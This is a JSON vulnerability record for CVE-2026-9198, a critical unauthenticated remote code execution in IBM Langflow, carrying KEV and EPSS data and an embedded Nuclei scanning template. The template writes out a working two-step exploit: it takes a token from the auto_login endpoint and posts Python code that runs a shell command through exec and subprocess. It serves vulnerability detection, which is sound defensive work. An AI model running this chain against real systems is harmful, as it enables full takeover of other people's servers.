{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-9198/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-9198/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-9198/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-9198/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-9198/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-9198"},"sightings":{"href":"/api/v1/sightings/cve-2026-9198"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.60597,"kev":true,"percentile":0.99105},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-9198.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-9198\n\ninfo:\n  name: IBM Langflow - Remote Code Execution\n  author: YesWeHack\n  severity: critical\n  description: |\n    IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 1.10.0.\n  reference:\n    - https://www.ibm.com/support/pages/node/7278927\n    - https://github.com/ywh-jfellus/CVE-2026-9198\n    - https://github.com/0xdak/CVE-2026-9198_exploit\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-9198\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-9198\n    epss-score: 0.60597\n    epss-percentile: 0.99105\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ibm\n    product: langflow\n    fofa-query: title=\"Langflow\" || body=\"langflow\"\n  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/auto_login\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"access_token\", \"refresh_token\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: token\n        json:\n          - \".access_token\"\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"code\": \"def _nuclei_scan(_=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"id\\\", shell=True, stderr=__import__(\\\"subprocess\\\").STDOUT).decode())')):\\n    pass\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402205bf2531662d32326f3292d8ed19d71a64f563595bece19ee632184f6ad3ade9402205faaccbf6f118c82b432cb27db447b92bb4250c2e7956fd4067c7196d1c9d02e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-9198"}